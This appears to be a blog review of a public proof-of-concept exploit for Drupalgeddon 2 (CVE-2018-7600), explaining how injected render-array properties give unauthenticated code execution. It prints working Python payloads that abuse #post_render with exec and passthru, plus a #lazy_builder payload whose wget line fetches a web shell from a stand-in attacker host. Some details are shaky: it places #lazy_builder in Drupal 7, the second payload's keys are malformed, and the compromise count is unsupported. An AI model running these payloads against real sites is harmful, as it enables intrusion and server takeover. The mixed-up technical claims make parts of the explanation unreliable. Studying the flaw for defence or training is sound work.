Inside Drupalgeddon 2: How a Render Array Exploit Compromised Millions of Websites
Hook
In March 2018, a vulnerability so severe emerged in Drupal that security researchers gave it a memorable name: Drupalgeddon 2. Within hours of the patch release, automated attacks began sweeping the internet, and within weeks, over a million websites had been compromised.
Context
Drupal 7's form API was designed with developer convenience in mind. The framework's render array system allowed developers to declaratively build complex forms and pages using nested PHP arrays with special properties prefixed by hash symbols. These properties—like #markup, #type, and #post_render—instructed Drupal on how to process and display content. The system was elegant and powerful, enabling sophisticated features with minimal code.
But this elegance concealed a catastrophic security flaw. Drupal's form processing failed to adequately sanitize user-supplied input before merging it into internal render arrays. An attacker could inject malicious properties into form submissions, and Drupal would dutifully execute them as if they were legitimate framework directives. This wasn't a bug in a specific module or a misconfigured permission—it was a fundamental architectural vulnerability in the core form system itself. The firefart/CVE-2018-7600 repository provides a proof-of-concept exploit demonstrating exactly how attackers weaponized this flaw to achieve unauthenticated remote code execution on millions of Drupal sites.
Technical Insight
The exploit targets Drupal's AJAX callback mechanism, specifically endpoints like /user/password and /user/register that are publicly accessible without authentication. The vulnerability exists in how Drupal processes form arrays during the rendering phase. When a form is submitted, Drupal merges user input with the form structure, then processes special render array properties to generate output.
The attack works by injecting a malicious #post_render property into the form data. This property should only be set by trusted code, as it specifies callback functions to execute after rendering. Here's the core of the exploit:
import requests
HOST = "http://vulnerable-drupal-site.com"
payload = {
'form_id': 'user_pass',
'name[#post_render][]': 'exec',
'name[#type]': 'markup',
'name[#markup]': 'echo "vulnerable" > /tmp/pwned.txt',
'mail[#post_render][]': 'passthru',
'mail[#type]': 'markup',
'mail[#markup]': 'id'
}
response = requests.post(
f"{HOST}/user/password",
data=payload,
params={'element_parents': 'account/mail/#value'}
)
print(response.text)
In this payload, the attacker manipulates the name and mail form fields by appending render array properties. The name[#post_render][] parameter injects exec as a post-render callback function, while name[#markup] provides the argument that will be passed to it. When Drupal processes this form, it doesn't recognize that these properties came from untrusted user input—it simply executes them.
The vulnerability is compounded by Drupal's use of the #lazy_builder property, another vector for exploitation. This property allows deferred rendering by specifying a callback and arguments to be executed later in the rendering pipeline:
payload = {
'form_id': 'user_register_form',
'name[#type]': 'markup',
'name[#lazy_builder][]': 'exec',
'name[#lazy_builder][][0]': 'wget http://attacker.com/shell.php -O /tmp/shell.php'
}
Drupal's form validation happens before render array processing, creating a critical sequence-of-operations flaw. By the time Drupal evaluates the injected properties, all standard security checks have already passed. The framework trusts its internal data structures implicitly, never expecting that untrusted input could have polluted them.
The exploit's elegance lies in its simplicity. No buffer overflows, no memory corruption, no complex timing attacks—just a fundamental misunderstanding of the trust boundary between user input and framework internals. The attackers leveraged PHP's flexible array syntax and Drupal's implicit trust in render array properties to achieve code execution with barely a dozen lines of Python.
What makes this particularly devastating is that the vulnerability affects core Drupal functionality. There's no way to disable the vulnerable code path without breaking fundamental features. Every publicly accessible form became a potential entry point, and since Drupal sites typically expose user registration or password reset forms by default, virtually every unpatched installation was exploitable out of the box.
Gotcha
The exploit only works against Drupal 7.x versions prior to 7.58, released in March 2018. If you're testing this tool against any modern Drupal installation, or even an older installation that's been patched in the last six years, it will fail completely. The patch introduced strict validation that prevents user-supplied input from containing hash-prefixed properties, closing the vulnerability at its source.
The repository's implementation is also bare-bones, requiring manual modification of the HOST variable directly in the source code rather than accepting command-line arguments. There's no error handling, no output parsing, and no session management. If you want to actually use this exploit in a penetration test, you'll likely need to wrap it in additional tooling or switch to more mature alternatives like Metasploit's drupal_drupalgeddon2 module. Additionally, successful exploitation only grants you the privileges of the web server user (typically www-data or apache), which means you're executing commands in a limited security context. For full system compromise, you'd need to chain this with privilege escalation exploits—the Drupalgeddon 2 vulnerability alone won't give you root access.
Verdict
Use if: You're conducting authorized penetration testing on legacy Drupal 7 installations and need a lightweight, educational reference for understanding the vulnerability mechanics, or you're building a deliberately vulnerable lab environment for security training and want a straightforward exploitation tool. This repository excels as a teaching aid for demonstrating how framework-level vulnerabilities work and why input validation at trust boundaries is critical. Skip if: You need a production-ready exploitation framework with payload options, session management, or command-line interface—Metasploit's module is vastly superior for actual red team operations. Also skip if you're trying to test patched systems (it won't work) or if you're considering any unauthorized use (obviously illegal and unethical). Given that this vulnerability was patched in 2018, legitimate use cases are extremely narrow in 2024, limited primarily to security research, training scenarios, and validating that ancient legacy systems have finally been patched or decommissioned.